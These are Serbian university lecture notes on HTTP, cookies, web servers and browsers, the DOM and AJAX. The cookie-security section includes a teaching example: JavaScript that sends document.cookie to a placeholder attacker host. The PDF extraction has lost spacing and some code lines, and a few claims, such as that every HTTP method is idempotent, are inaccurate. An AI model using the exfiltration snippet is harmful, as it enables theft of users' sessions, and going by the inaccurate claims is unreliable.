DELETESadrzaj zahteva se trajno brise. Metod nije obavezno podrzan. Obicno seradi o brisanju sadrzaja koji su dodati metodom POST. Nacin identifikovanjasadrzaja nije odreden standardom HTTP-a, obicno se odreduju na osnovuURI-ja (putanja, upit) i/ili dodatnih parametara zaglavlja.


TRACEServer odgovara na zahtev TRACE tako sto u odgovoru kao telo porukavraca primljeni zahtev. Oznaka tipa mora da bude:Content-Type: message/httpKoristi se za proveravanje u kom obliku zahtevi stizu do servera (da li nekood ucesnika u prenosu menja zahteve . . . )

OPTIONSMetodom se od servera zahteva da izvesti klijenta o raspolozivim opcijamakomunikacije.

Po HTTP 1.1 server je obavezan da implementira samo metode GET i HEAD,ali vecina savremenih servera implementira i POST, PUT i DELETE. Svi me-todi moraju biti idempotentni - visestruko ponavljanje istog zahteva menja sistem(pravi bocne efekte) na isti nacin kao jednom upucen zahtev. Metodi OPTIONS iTRACE NE SMEJU da menjaju stanje sistema.

2.2.7 Neki parametri zaglavlja

Neki uobucajeni parametri zaglavlja:

• Date: Thu, 4 Oct 2012 11:25:27 GMT - vreme pravljenja poruke

• Connection: Close - da li posiljalac poruke planira da drzi vezu otvorenom

Neki uobicajeni elementi zaglavlja zahteva:

• User-Agent: Mozilla/5.0 [en] (WinNT; U) - informacije o pregledacu

• Referer: http://www.matf.bg.ac.rs/ smalkov/index.html - odaklezahtev potice, npr. na kojoj stranici je binarna veza

Neki uobicajeni elementi zaglavlja odgovora:

• Location: http://www.matf.bg.ac.rs/newPage.html

– redirekcija - potrebno je otvoriti dati resurs

– uvek j epracena statusnim kodom 301 ili 302

• Server: Apache/2.1.5 - identifikacija verzije servera

Uobicajeni elementi zaglavlja odgovora, koji opisuju sadrzaj isporucen u okvirutela odgovora:

• Content-Type: mime-type/mime-subtype - tip sadrzaja

2.2. HTTP 21

• Content-Length: xxx - velicina sadrzaja

• Last-Modified: Mon, 8 Oct 2012 08:10:22 GMT - poslednje vremeizmene sadrzaja

2.2.8 Statusni kodovi

HTTP 1.1 odreduje 5 statusnih kodova:

1xx

• informacioni statusi

• ne oznacavaju ni uspeh ni gresku, samo informisu klijenta o necemu

• primer: kod 100 oznacava da u nastavku sledi isporuka odgovora podelovima

2xx

• uspesni statusi

• oznacavaju uspesno ispunjavanje zahteva

• primeri:

– kod 200 oznacava da je zahtev u potpunosti ispunjen i da je unastavku odgovor na zahtev

– kod 201 je slican, potvrduje da je u skladu sa zahtevom na serverunapravljen novi resurs

3xx

• redirekcioni statusi

• oznacavaju da je potrebna dodatna aktivnost da bi se ispunio zahtev

• najvazniji:

– Kod 301 - resurs je trajno premesten”. Trazeni resurs je sada iubuduce dostupan samo na drugoj lokaciji. Nova lokacija se navodikao parametar Location u zaglavlju odgovora. Pregledac automat-ski otvara novu lokaciju, a staru vise ne bi trebalo da upotrebljava.

– Kod 302 - resurs je privremeno premesten”. Trazeni resurs je tre-nutno na drugoj lokaciji. Nova lokacija se navodi kao parametarLocation u zaglavlju odgovora. Pregledac automatski otvara novulokaciju, a sledeci put bi trebalo da ponovo pokusa da otvori pret-hodnu lokaciju. Cesto se upotrebljava, posebno u slucaju metodaPOST.


4xx

• greske u klijentskom zahtevu

• oznacavaju da je prepoznat neki problem u samom zahtevu

• primeri:

– kod 400 oznacava neispravan zahtev

– kod 401 oznacava neautorizovan zahtev

– kod 404 oznacava da se zahtev odnosi na nepostojeci resurs

5xx

• greske na strani servera

• oznacavaju da je tokom obrade zahteva doslo do greske na strani servera

• primer: kod 500 oznacava interne greske servera, a nastaje kada dodedo pada generatora dinamickog sadrzaja

2.2.9 Kolacici

Da bi se u protokol koji nema stanja uvela podrska za stanje, HTTP 1.1 je uveokoncept kolacica. Kolacici omogucavaju ucesnicima u komunikaciji da se dogovoreo prenosenju stanja kroz komunikaciju. Stanje postavlja i menja server. Klijentsamo pamti stanje i vraca ga serveru u neizmenjenom obliku. Server, pri slanjuodgovora, moze da postavi vise kolacica u jednom odgovoru. U zaglavlje odgovoradodaje parametar Set-Cookie (jedan kolacic u jednom redu, naravno)

Set-Cookie:

<name>=<value>

[; expires=<date>]

[; path=<path>]

[; domain=<domain name>]

[; secure]

[; HttpOnly]

Najvazniji elementi kolacica su ime (name) i vrednost (value). Ostali elementiopisuju nacin upotrebe.

• Parametar expires oznacava do kada bi klijent trebalo da cuva kolacic

• Parametar domain i path oznacavaju na koje se domene, aplikacije i deloveaplikacija kolacic odnosi. Ako se ne navede, cuva se samo do zavrsetka tekucesesije. Klijent ne sme da salje kolacice drugim aplikacijama.

• Parametar secure oznacava da se kolaciz sme prenositi samo kroz bezbedneveze (HTTPS)

2.2. HTTP 23

• Parametar HttpOnly oznacava kolacic ne sme biti vidljiv klijentu (korisniku)

Primer zagljavlja sa postavljanjem jednog kolacica

HTTP/1.1 200 OK

Set-Cookie: predmet=UAR; path=/~smalkov/; domain=.matf.bg.ac.rs

...

Klijent vraca primljene kolacice serveru, pri slanju svakog zahteva. Klijent bitrebalo da vrati sve kolacice koje je primio OD TOG servera, a zadovoljavajuuslove trajanja i domena. U zaglavlje zahteva dodaje se parametar Cookie (svikolacici u jednom redu):

Cookie: <name>=<value> {;<name>=<value>}

Primer zaglavlja sa vracanjem jednog kolacica:GET / smalkov/novosti.html HTTP/1.1 Cookie: predmet=UAR...

Kolacici predstavljaju veliki bezbednosni problem. Osnovu problema predstavljamogucnost da kolacic jedne aplikacije postane dostupan drugoj aplikaciji. Drugaaplikacija moze tako da dode do vrli vaznih licnih podataka. Zbog bezbednosti semora dobro poznavati rad sa kolacicima.

Primer JavaScript koda koji salje drugoj aplikaciji kolacice i podatke o aktivnojaplikaciji:

window.location =

"http://a.b.c.d:81/haha.php?t="

+ document.links[1].text

+ "&l=" + document.links[1]

+ "&c=" + document.cookie;

Konkretan problem se prevazilazi kolacicima sa opcijom HttpOnly

2.2.9.1 Vrste kolacica

Osnovna podela je prema trajanju:

• privremeni (ili sesijski) kolacici - traju koliko i sesija

• trajni kolacici - trajanje je odredeno parametrima

U konekstu bezbednosti se razlikuju:

• bezbedni kolacici - prenose se samo putem protokola HTTPS parametarkolacica secure


• samo-HTTP kolacici (HTTPOnly) - korisnik (ni skriptovi) ne mogu da videparametar kolacica

U odnosu na to ko ih je postavio razlikuju se

• kolacici prve strane (first party cookies) - oni koje je postavio server domenakoji je posecen (deo adrese posecene veb lokacije)

• kolacici trece strane (third party cookies) - oni koje je postavio server nekogdrugog domena, na primer ako se deo strane ili slike uzimaju sa drugog do-mena, obicno reklame. Predtsavaljaju potencionalan bezbednosni problem.

U kontekstu bezbednosnih problema se prepoznaju i:

• superkolacici - oni kojima je odreden nerazumno sirok domen, na primer sadomenom: .com

• besmrtni (zombi) kolacici - kolacici koji ne mogu da se obrisu. Neki skriptovisacuvani u dodacima pregledaca ili medu lokalnim trajnim podacima moguda ih uvek iznova prate.

2.2.9.2 Namena kolacica

Tri najcesce namene

• Upravljanje sesijama

– osnovna namena je da se prepozna da veci broj zagteva pripada jednojvecoj aktivnosti - sesiji

– za to je dovoljan jedan privremeni kolacic, koji predstavlja identifikatorsesije

– svi podaci o stanju se cuvaju na strani servera, najcesce bezbedno,zavisno od sadrzaja

• Personalizacija

– prilagodavanje rada neke veb aplikacije zeljama korisnika

– obavezno trajni kolacici (moze da ih bude veci broj, ako su svi podaci naklijentu, ili jedan, ako je samo identifikacija prilagodavanja na klijentu,a sve ostalo na serveru)

– u zavisnosti od vrste podesavanja, moze da predstavlja rizik po bezbed-nost

• Analiza i pracenje poseta

– na osnovu kolacica se moze pratiti

2.3. PITANJA 25

∗ da li neko posecuje lokaiciju po prvi put

∗ koliko cesto je posecuje

∗ da li postoji neki sablon u redosledu pregledavanja strana

– sami po sebi ne predstavljaju bezbednosti rizik, ali golablno posma-trano predstavljaju (uporednom analizom i pracenjem posecivanja viselokaicija moze se doci i do sasvim licnih podataka)

2.2.10 HTTPS - bezbedni HTTP

Da bi komunikacija izmedu klijenta i servera bila bezbedna, neophodan je be-zbedan protokol komunikacije. HTTPS (Secure HTTP) predstavlja bezbednu ver-ziju protokola HTTP. Komunikacija je potpuno ista kao putem protokola HTTP,ali se odvija preko bezbednosnog slija (SSL - Secure Socket Layer). Zahtevi i od-govori se kodiraju pre slanja i dekodiraju po prijemu.

Bezbedan protokol nije dovoljan - neophodno je pouzdano utvrditi identitet ser-vera. Za to sluze sertifikati autenticnosti.

2.3 Pitanja

2.1 Objasniti odnos komunikacionih protokolaa TCP/IP i HTTP i OS modela.

2.2 Sta je TCP/IP? Navesti i objasniti slojeve.

2.3 Sta je HTTP? Objasniti osnovne karakteristike.

2.4 Sta znaci kada kazemo da je HTTP protokol bez stanja?

2.5 Objasniti strukturu paketa protokola HTTP.

2.6 Objasniti strukturu zahteva protokola HTTP.

2.7 Objasniti strukturu odgovora protokola HTTP.

2.8 Navesti i ukratko objasniti metode protokola HTTP.

2.9 Navesti najvaznije parametre zaglavlja paketa protokola HTTP.

2.10 Objasniti statusne kodove protokola HTTP.

2.11 Sta su i cemu sluze kolacici? Ko ih i kako pravi, cuva, prenosi?

2.12 Objasniti detaljno elemente kolacica.

2.13 Objasniti detaljno odnos kolacica i bezbednosti na Vebu.

2.14 Na osnovu cega sve razlikujemo (delimo) kolacice? Koje vrste kolacica postoje?


2.15 Koje su najcesce namene kolacica? Objasniti ukratko.

2.16 Objasniti ulogu kolacica u upravljanju sesijama.

2.17 Objasniti ulogu kolacica u personalizaciji.

2.18 Objasniti ulogu kolacica u analizi i pracenju poseta.

2.19 Sta je HTTPS? Objasniti.

Glava 3

Veb

3.1 Veb server

Veb server je softver koji isporucuje sadrzaje putem protokola HTTP. Sam is-porucuje staticke sadrzaje. Koristi usluge drugih programa ili dodatnih modula zapravljenje dinamickih sadrzaja (ima ulogu posrednika izmedu klijenta i generatorasadrzaja).

Odgovornosti veb servera:

• prijem zahteva

• razresavanje adrese

• obrada zahteva

• priprema odgovora - na pripremljen sadrzaj (bilo staticki ili dinamicki) sedodaje odgovarajuce zaglavlje na osnovu podataka o sadrzaju, komunikaciji,kolacica, itd.

• slanje odgovora

3.1.1 Razresavanje adrese

Prilikom razresavanja adresa obavljaju se sledeci koraci:

• Prepoznavanje domena - ako jedan isti server sluzi za rad vise domena (apli-kacija, lokacija, servisa), prvi korak je da se prepozna na koji domen se odnosizahtev, tzv. Virtual Hosting.

• Preslikavanje adresa - ustanovljavanje na sta se adresa odnosi. Da li je upitanju staticki ili dinamicki resurs? Koja stvarna lokacija u sistemu datotekaodgovara resursu?

• Autentikacija - ako se radi o poverljivom izvoru resursa, proverava se da likorisnik ima pravo da mu pristupi.

27

28 GLAVA 3. VEB

3.1.2 Obrada zahteva

Obuhvata pripremu statickih sadrzaja i pripremu dinamickih sadrzaja.

3.1.2.1 Priprema statickih sadrzaja

Staticki sadrzaju obuhvataju: HTML stranice, XML dokumente, slike, obicanneformatiran tekst, itd. Priprema statickih sadrzaja najcesce zahteva pronalazenjesadrzaja u sistemu datoteka i citanje sadrzaja. Kasnije, u fazi pripremanje odgo-vora, dodaje se odgovarajuce zaglavlje. Moguca je isporuka vec pripremljenihstranica (ai-is pages) - sadrzaji su vec pripremljeni, zajedno sa zaglavljima (npr.lokalni kes) i faza pripremanja odgovora se preskace.

3.1.2.2 Priprema dinamickih sadrzaja

U vreme pripreme se pravi (ili menja) odgovarajuci sadrzaj. Neophodna je nekaprogramska aktivnost - programsko pravljenje ili povezivanje postojecih sadrzaja.Nosilac programske aktivnoste moze da bude sam veb server, neki dodatni pro-gram ili neki dodatni modul (prosirenje) servera.

Neki od uobicajenih nacina obrade:

• Common Gateway Interface (CGI)

• Server Side Include (SSI)

• Java Server Pages (JSP)

• Active Server Pages (ASP)

• PHP

• ...

Savremeni veb serveri imaju modularnu arhitekturu dela za pripremu sadrzaja:dodavanjem modula se prosiruju mogucnosti servera, dodatni protokoli, dodatninacini obrade zahteva, dodatni programski jezici, itd.

3.2 Veb pregledac

Veb pregledac je softver koji omogucava korisniku da pregleda sadrzaje koji sudostupni na vebu. Osnovne odgovornosti:

• slanje zahteva veb serverima

• prijem odgovora od veb servera

• prikazivanje sadrzaja korisniku

3.2. VEB PREGLEDAC 29

• obezbedivanje interakcije sa korisnikom

• omogucavanje rada dodatnim softverskim komponentama - koristi uslugeapleta, dodatnih modula i skriptova za ostvarivanje naprednih vidova inter-akcije sa korisnikom

3.2.1 Slanje zahteva veb serverima

Slanje zahteva veb serverima cine

• pravljenje zahteva na osnovu

– unesenog URI-ja

– izabrane veze

– formulara

– zahteva postavljenog od strane nekog skripta ili apleta

• dopunjavanje nepotpunih URI-ja (npr. relativne putanje)

• provera kesa (da li se sadrzaj moze dobiti iz kesa umesto od servera)

• provera autorizacije (da li je potrebno u zahtevu navesti podatke o korisniku)

• odrzavanje stanja (da li je i koje kolacice je potrebno dodati zahtevu)

• sam cin slanja putem implementacije protokola HTTP

3.2.2 Prijem odgovora od veb servera

Prijem odgovora od veb servera

• sam cin prijema putem implementacije protokola HTTP

• analiza statusa odgovora

– da li je potrebno poslati podatke o autorizaciji

– da li se moze odgovor kesirati

• odrzavanje stanja (da li su dobijeni neki kolacici)

• slanje dodatnih zahteva (da li su potrebni dodatni sadrzaji - CSS, slike, JS,itd)

30 GLAVA 3. VEB

3.2.3 Prikazivanje sadrzaja

Prikazivanje sadrzaja cine

• interpretacija sadrzaja (analiza i priprema dokumenata za prikazivanje -HTML, CSS)

• prikazivanje sadrzaja

– sam cin prikazivanja, uz koriscenje usluga OS

– upotreba posebnih modula, prema (MIME) tipu sadrzaja

– priprema uslova i pokretanje apleta

• obezbedivanje interakcije sa korisnikom

– odgovarajuce ponasanje formulara

– reagovanje na aktivnosti korisnika

– izvrsavanje skriptova koji potencijalno menjaju prikaz

– obrada novih zahteva

3.2.4 Trajni podaci na strani klijenta

• Kes - kesiraju se stranice, slike i drugi primljeni sadrzaji. Svaki kesiranisadrzaj ima trajanje.

• Kolacici - primanje i cuvanje zavisi od podesavanja pregledaca i parametarakolacica. Upotreba zavisi od trajanja i domena.

• Kredencijali korisnika - uvek se cuvaju tokom sesije, uvek se brisu na krajusesije. Domen vazenja odgovara IP broju servera.

• Veb skladiste (HTML5, Web Storage)

– sa domenom sesije (sessionStorage)

– sa domenom aplikacije (localStorage)

3.3. PITANJA 31

Da li se cuva Kljuc za pristupanje Kada se brise Nacin cuvanja

KesZavisi odzaglavljaodgovora

URI zahtevaPo istekutrajanja ili

kada je hes pun

Memorija i/ilidisk

KolaciciZavisi odpodesavanjapregledaca

Domen iputanja kolacica

Kada isteknetrajanje ili

sesija

Memorija zaprivremene idisk za trajne

kolacice

Kredencijali Uvek Adresa serverai oblast primene

Obavezno nakraju sesije

Samo memorija

Veb skladiste Uvek Nema Po istekusesije

Zavisno odpregledaca ivelicine

Veb skladiste UvekLokalnikorisnicki

nalog za OS

Ne brise se Disk

Tabela 3.1: Trajni podaci na strani klijenta

3.3 Pitanja

3.1 Sta je veb server? Cemu sluzi?

3.2 Koje su odgovornosti Veb servera?

3.3 Sta je razresavanje adrese? Objasniti detaljno.

3.4 Sta je obrada zahteva? Objasniti detaljno.

3.5 Sta je priprema dinamickih sadrzaja? Objasniti detaljno.

3.6 Sta je Veb pregledac? Koje su njegove odgovornosti?

3.7 Objasniti proces slanja zahteva Veb serverima.

3.8 Objasniti proces prijema odgovora od Veb servera.

3.9 Objasniti proces prikazivanja sadrzaja na Veb pregledacu.

3.10 Koje su vrste trajnih podataka na strani klijenta? Objasniti detaljno.

32 GLAVA 3. VEB

Glava 4

DOM - Document Object Model

Document Object Model je standardizovana reprezantacija HTML i XML do-kumenta. U prvim godinama uvodenja JavaScripta nije bio standardizovan. Danasje standardizovan i u velikoj meri usaglasen medu implementacijama. Upotrebljavase za omogucavanje programskog rukovanja objektima koji cine dokumente.

4.1 Standardi

Standarde odrzava W3C. Podeljeni su u nekoliko slojeva (verzija)

• DOM Level 0 nestandardizovana inicijalna verzija

• DOM Level 1 (1998)




4.1.1 DOM Level 0

Verzija koju je osmislio i predstavio Netscape sa prvom verzijom JavaScript-a(Netscape 2). Usvojio ga je, ali uz brojne specificnosti i odstupanja, MS InternetExplorer 3. Od tada pocinje razlikovanje i proveravanje verzija, poput:

if( document.images ){

document.images[’imgname’].src = ...;

}

Cak se verzije IE za Windows i Mac znacajno razlikuju i nisu kompatibilne.Netscape 4 i IE4 su doneli nove izmene, tada su verzije pocele mnogo vise da serazlikuju.

33

34 GLAVA 4. DOM - DOCUMENT OBJECT MODEL

4.1.2 DOM Level 1 (1998)

Modul Core definise minimalan uopsteni skup objekata i interfejsa za pristupa-nje objektima dokumenata i rukovanje njima. Modul HTML prosiruje jezgro spe-cificnostima HTML-a. Standard definise mnogo toga, ali se u 99% slucajeva koristisamo 10% standarda, to omogucava relativno lako ucenje.

4.1.3 DOM Level 2 (2000)

Prosiruje prethodnu verziju vecin brojem modula i unapreduje module Core iHTML.

Novi moduli: XML, Views, StyleSheets, CSS, CSS2, Events, UI Events, Mou-seEvents, MutationEvents, HTMLEvents, Range, Traversal

4.1.4 DOM level 3 (2004)

Karakterise ga dalje prosirivanje modula. Modul HTML nije znacajno menjan.Modul XML je unapreden. Dovrsava preslikavanja HTML-a u XML model.

Novi moduli: TextEvents, KeyboardEvents, MutationNameEvents, LS (Load &Save), LS-Async, Validation, Xpath

Slika 4.1: Moduli DOM-a

4.2. OSNOVA MODELA 35

4.2 Osnova modela

Osnovu modela cine cvorovi. DOM predstavlja hijerarhiju cvorova. Svaki cvorimplementira makar interfejs Node, a opciono i druge, specijalizovane interfejse.Neki cvorovi imaju potomke razlicitih tipova. Ostali cvorovi su listovi i nemajudruge cvorove kao komponente.

4.2.1 Najvazniji cvorovi i njihovi potomci

Document: predstavlja ceo HTML ili XML dokument (koren drveta).Potomci: Element (najvise jedan), ProcessingInstruction, Comment, Document-Type (najvise jedan).

DocumentFragment: laki” ili minimalni” Document osloboden nekih suvisnihelemenata implementacije celog dokumenta.Potomci: Element, ProcessingInstruction, Comment, Text, CDATASection

DocumentType: predstavlja interfejs prema listi entiteta definisanih u doku-mentu. Nema potomaka.

EntityReference: predstavlja referencu na neki entitet u dokumentu.Potomci: Element, ProcessingInstruction, Comment, Text, CDATASection, Enti-tyReference

Element: interfejs prema elementima kolekcija.Potomci: Element, Text, Comment, ProcessingInstruction, CDATASection, Enti-tyReference

Attr: predstavlja interfejst prema jednom atributu cvora Element.Potomci: Text, EntityReference

ProcessingInstruction: predstavlja instrukcije za obradu” XML-a. Strukturanije definisana modelom. Nema potomaka.

Comment: tekstualni sadrzaj komentara u HTML i XML dokumentu. Nemapotomaka.

Text: tekstualni sadrzaj elementa (Element) ili atributa elementa (Attr). Nemapotomaka.

CDATASection: tekstualni sadrzaj koji moze da sadrzi znakove koji bi inacepredstavljali oznake HTML-a i XML-a. Nema potomaka.

Entity: predstavlja jedan entitet XML dokumenta


Potomci: Element, ProcessingInstruction, Comment, Text, CDATASection, Enti-tyReference

Notation: predstavlja belesku deklarisanu u opisu tipa dokumenta. Nema po-tomaka.

4.2.2 Osnovni tipovi

DOMString: niska Unicode karaktera, sacuvanih u obliku niza 16-bitnih zapisaelemenata.

DOMTimeStamp: vreme kao broj milisekundi od nekog trenutka.

DOMUserData: referenca na aplikativne podatke.

DOMObject: referenca na neki objekat.

4.2.3 Interfejsi

Node: osnovni interfejs cvorova DOM-a.

NodeList: apstrakcija uredene kolekcije cvorova.

NamedNodeMap: kolekcija imenovanih cvorova.

Attr: jedan atribut cvora Element.

Element: jedan element HTML-a ili XML-a

CharacterData: interfejs cvora koji predstavlja tekstualni sadrzaj.

Text: nasleduje CharacterData. Predstavlja tekstualni sadrzaj elementa ili atri-buta.

I jos neki: DOMException, DOMStringList, NameList, DOMImplementationList,DOMImplementationSource, DOMImplementation, Comment, TypeInfo, UserDa-taHandler, DOMError, DOMErrorHandler, DOMLocator, DOMConiguration.

interface NamedNodeMap {

Node getNamedItem(in DOMString name);

Node setNamedItem(in Node arg)

raises(DOMException);

Node removeNamedItem(in DOMString name)


4.3. OSNOVNI ELEMENTI INTERFEJSA NODE 37

Node item(in unsigned long index);

readonly attribute unsigned long length;

// Introduced in DOM Level 2:

Node getNamedItemNS(in DOMString namespaceURI,

in DOMString localName)


Node setNamedItemNS(in Node arg)


Node removeNamedItemNS(in DOMString namespaceURI,

in DOMString localName)


};

4.3 Osnovni elementi interfejsa Node

• nodeType: unsigned short

• kod tipa cvora:

– 1 - cvor Element

– 2 - cvor Attribute

– 3 - cvor Text

– 6 - cvor Entity

– 8 - cvor Comment

– 9 - cvor Document

• nodeName: DOMString - naziv cvora, zavisi od njegovog tipa

• nodeValue: DOMString - vrednost cvora, zavisi od tipa

• attributes : NamedNodeMap - kolekcija atributa cvorova. Vazni elementi sulength i item(i) (moze da se upotrebljava i u obliku ...[ i ]).

• childNodes : NodeList - niz potomaka tj. sadrzanih elemenata

• parentNode : Node - roditeljski cvor.

x.childNodes[i].parentNode == x

• previousSibling : Node - prethodni cvor u kolekciji

x.childNodes[i+1].previousSibling == x.childNodes[i]


• nextSibling : Node - naredni cvor u kolekciji

x.childNodes[i+].nextSibling == x.childNodes[i+1]

• firstSibling : Node - prvi element niza potomaka

x.childNodes[0] == x.firstChild

• lastSibling : Node - poslednji element niza potomaka

x.childNodes[x.childNodes.length-1] == x.lastChild

Slika 4.2: Ilustracija organizacije cvorova

Primer koda koji prolazi kroz DOM:

traverse = function( node ){

if( node==null ) return ’null’;

var result = "";

if( node.nodeType==3 ){

if( node.nodeValue != null && node.nodeValue.trim() != ’’)

result = result + ’"’ + node.nodeValue + ’"’;

} else{

if( node.nodeName != null )

result = result + node.nodeName;

result = result + ’[’;

if( node.attributes != null )

for( var i=0; i<node.attributes.length; i++ )

result = result + node.attributes[i].name + ’=

+ node.attributes[i].value + ’;’;

4.4. VAZNI METODI 39

if( node.childNodes != null )

for( var i=0; i<node.childNodes.length; i++ )

result = result + traverse(node.childNodes[i]);

if( node.nodeValue != null && node.nodeValue.trim() != ’’)

result = result + ’"’ + node.nodeValue + ’"’;

result = result + ’] ’;

}

return result;

}

Vazna svojstva HTML cvorova:

• innerHTML - tekstualna vrednost cvora, ukljucujuci i sve podtagove

• style - model CSS stila

4.4 Vazni metodi

• getElementsByName(el”) - pronalazi sve podelemente cvora node sa da-tim imenom

• document.getElementsByName(”el”) - pronalazi prvi element u doku-mentu sa datim imenom

• getElementsByTagName(div”) - pronalazi sve podelemente cvora nodesa datom oznakom

• getElementById(”id”) - pronalazi prvi podelement sa datim identifikato-rom

• appendChild(node) - dodaje novi podcvor

• removeChild(node) - brise dati podcvor


4.4.1 Citanje i parisranje XML dokumenata

if (window.DOMParser){

parser = new DOMParser();

xmlDoc = parser.parseFromString(text,"text/xml");

}

else{

// Internet Explorer

xmlDoc = new ActiveXObject("Microsoft.XMLDOM");

xmlDoc.async = false;

xmlDoc.loadXML(text);

}

Objekat xmlDoc predstavlja cvor tipa Document.

4.5 Pitanja

4.1 Sta je DOM? Objasniti osnovne koncepte i elemente.

4.2 Ko odrzava standard DOM-a? Navesti standarde DOM-a.

4.3 Navesti i objasniti najvaznije cvorove dokumenta u DOM-u.

4.4 Navesti i objasniti najvaznije elemente interfejsa Node (bez elemenata za na-vigaciju).

4.5 Navesti i objasniti elemente interfejsa Node koji sluze za navigaciju kroz stuk-turu dokumenta.

4.6 Objasniti spcificne elemente interfejsa za cvorome HTML dokumenta.

4.7 Kako se parsiraju XML dokumenti.

Glava 5

AJAX - Asynchronous JavaScriptand XML

Koncept asinhronog razmenjivanja podataka sa serverom. Omogucava menja-nje sadrzaja i izgleda veb stranice bez ucitavanja potpuno nove stranice. AJAXje omogucio pravljenje bogatog korisnickog interfejsa na vebu. Nosilac interak-tivnosti umesto sesije postaje stranica. Programiranje interaktivnosti sa seervdraprenosi se na klijente.

JavaScript i dogadaji:

<!DOCTYPE html>

<html>

<head>

<script>

function promeniTekst(){

document.getElementById(’mojDiv’).innerHTML

= ’<p>Promenjeno...</p>’;

}

</script>

</head>

<body>

<div id="mojDiv">

<h2>Tekst koji cemo promeniti</h2>

</div>

<button type="button" onclick="promeniTekst()">

Promeni tekst

</button>

</body>

</html>

41

42 GLAVA 5. AJAX - ASYNCHRONOUS JAVASCRIPT AND XML

Osnovna razlika u odnosu na obican JavaScript je u tome sto sadrzaj koji se dodajeili menja ne mora da se unapred ucitava kao deo stranice, vec se prema potrebinaknadno ucitava sa servera. Sadrzaj koji se dodaje ili menja ne mora da se una-pred ucitava kao deo stranice, vec se prema potrebi naknadno ucitava sa servera.

Pravljenje AJAX objekata zavisi od verzije pregledaca. Po standardu JS, noviobjekat pravi se na sledeci nacin:

httpReq = new XMLHttpRequest();

Medutim, prema staroji verziji IE, to se postize na sledeci nacin:

httpReq = new ActiveXObject("Microsoft.XMLHTTP");

Evo jednog primera koji radi u skladu sa verzijom:

var httpReq;

if( window.XMLHttpRequest )

httpReq = new XMLHttpRequest();

else

httpReq = new ActiveXObject("Microsoft.XMLHTTP");

5.1 Slanje zahteva

Za slanje zahteva se koriste metodi open() i send().

Metod open ima sledeci potpis:

open(method,uri,async,user,password)

On odreduje parametre zahteva, ali ne vrsi njegovo slanje. Svi parametri su opcioni- method predstavlja metod prenosa zahteva i moze biti GET ili POST, uri je iden-tifikacija resursa, async odreduje da li je prenos asinhron(true) ili sinhron(false),user predstavlja korisnicko ime, a password njegovu lozinku.

Metod send ima sledeci potpis:

send([string])

On upucuje zahtev, a njegov jedini parametar, string, predstavlja telo zahtevai koristi se samo u slucaju metoda POST.

5.1.1 Dodatni parametri zahteva

• timeout - odreduje maksimalno trajanje cekanja na odgovor

• withCredentials - ime i lozinka se ukljucuju u zahtev

• upload - pomocni objekat za pracenje toka slanja velikih zahteva

• abort() - obustavlja sve operacije po zahtevu

5.2. OBRADA ODGOVORA 43

5.1.2 Dogadaji objekata zahteva

Postoje dva tipa dogadaja objekata zahteva - Event i EventProgress. Event jeuobicajeni JS dogadaj, dok je EventProgress prosirenje uobicajenog, ima dodatneatribute (readonly attribute boolean lengthComputable; readonly attribute un-signed long long loaded; readonly attribute unsigned long long total;).

Dogadaj readystatechange : Event ukazuje da je doslo do promene atributa, lo-adstart : ProgressEvent da je zapocelo slanje zahteva, progress : ProgressEventnastaje cesto tokom slanja i primanja odgovora. Zatim, abort : ProgressEventznaci da je obrada zahteva prekinuta (npr. pozivom metoda abort()), error : Pro-gressEvent znaci da nije uspela obrada zahteva, load : ProgressEvent ukazuje daje zahtev uspesno ispunjen. Dalje, timeout : ProgressEvent znaci da je isteklovreme za zahtev i zahtev jos nije ispunjen, a loadend : ProgressEvent da je obradazavrsena, bilo uspesno ili neuspesno.

Preporucuje se upotreba jednostavnijeg i brzeg metoda GET kad god je to moguce.Metod POST se koristi u slucaju prenosa vece kolicine podataka, kada zelimo dasprecimo kesiranje rezultata, kada se radi o prosledivanju sadrzaja formulara. Akose radi o formularima ili slanju sadrzaja, moze se postavljati zaglavlje zahteva

setRequestHeader(name,value)

Primer:

httpReq.open("POST","ajaxData.php",true);

httpReq.setRequestHeader("Content-type",

"application/x-www-form-urlencoded");

httpReq.send("ime=Paja&prezime=Patak");

5.2 Obrada odgovora

Odgovor se dobija po uspesnom ispunjavanju zahteva kao atribut objekta za-hteva: httpReq.status (kod statusa), httpReq.responseText (odgovor u tekstual-nom obliku), httpReq.responseXML (odgovor u obliku strukturiranog XML doku-menta, u skladu sa DOM).

5.2.1 Parametri i metodi rezultata

• status - vraca celobrojni kod rezultata obrade zahteva

• statusText - vraca tekstualni opis rezultata obrada zahteva

• getResponseHeader(name) - vraca vrednost elementa zaglavlja odgovora

• getAllResponseHeaders() - vraca sve elemente zaglavlja


• overrideMimeType(mimeType) - postavlja MIME tip u zaglavlju odgovora,bez obzira na postiglu vrednost

• responseType - vraca tip rezultata, moze da bude prazna niska (podrazume-vani), arraybuffer”, blob”, document”, json”, i text”

• response

– ako je tip text (ili podrazumevan), vraca se telo rezultata kao tekst

– ako je tip arraybuffer, vraca telo rezultata kao arraybuffer

– ako je tip blob, vraca telo rezultata kao blob

– ako je tip document, vraca telo rezultata kao document

– ako je tip json, vraca telo kao json

• responseText - vraca telo rezultata kao tekst

• responseXML - vraca telo rezultata kao XML DOM objekat

U slucaju asinhronog prenosa atributi su httpReq.readyState (stanje zahteva; 0 -zahtev nije inicijalizovan, 1 - uspostavljena veza sa serverom, 2 - primljen zahtev,3 - zahtev se obraduje, 4 - zahtev je obraden i odgovor je spreman za upotrebu) ihttpReq.onreadystatechage (funkcija za obradu dogadaja promene stanja zahteva).

5.3 Sinhrono ili asinhrono

U slucaju sinhrong rada metod send() ceka odgovor, a u slucaju asinhronognema cekanja. Trajanje svakog poziva obuhvata vreme prenosa poruke prema ser-veru, obrade zahteva na serveru, prenosa odgovora do klijenta. Veci broj sinhonihzahteva moze imati za posledicu velike zastoje zbog serijskog izvrsavanja. Po pra-vilu se radi asinhrono. Tako se omogucava slanje veceg broja zahteva i paralelnaobrada odgovora. Sinhroni rad je prihvatljiv pri inicijalnom popunjavanju sadrzajastranice, ako se radi o manjim dokumentima i ako je u pitanju samo jedan sinhronizahtev.

Primer sinhronog rada


var httpReq = new XMLHttpRequest();

httpReq.open("GET","/js2_part.html",false);

httpReq.send();

// metod send() je sa\v cekao odgovor

// pa sad mo\v zemo da ga obradimo

document.getElementById(’mojDiv’)

.innerHTML = httpReq.responseText;

}

5.3. SINHRONO ILI ASINHRONO 45

Primer asinhronog rada:



httpReq.open("GET","/js3_part.html",true);

// metod send() ne \v ceka odgovor

// pa moramo da postavimo rukovodilac doga\dj aja

httpReq.onreadystatechange = function(){

if( httpReq.readyState==4 && httpReq.status==200 )


.innerHTML = this.responseText;

};

